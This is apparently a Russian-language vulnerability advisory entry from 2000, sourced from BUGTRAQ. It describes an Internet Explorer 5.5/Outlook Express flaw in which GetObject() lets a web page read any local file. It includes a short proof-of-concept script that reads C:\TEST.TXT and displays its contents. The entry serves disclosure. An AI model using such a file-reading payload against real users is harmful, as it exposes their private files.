Очередная дырка в Internet Explorer/Outlook
Published:		27.09.2000
Source:		BUGTRAQ
SecurityVulns ID:		570
Type:		client
Level:		6/10
Описание:		Вызов GetObject позволяет обратиться к любому локальному файлу. <SCRIPT> alert("This script reads C:\\TEST.TXT\nYou may need to create it"); a=GetObject("c:\\test.txt","htmlfile"); setTimeout("alert(a.body.innerText);",2000); </SCRIPT>

Affected:

MICROSOFT : Internet Explorer 5.5

Original document

Georgi Guninski, IE 5.5/Outlook Express security vulnerability - GetObject() expose user's files (27.09.2000)

Discuss:

Read or add your comments to this news (0 comments)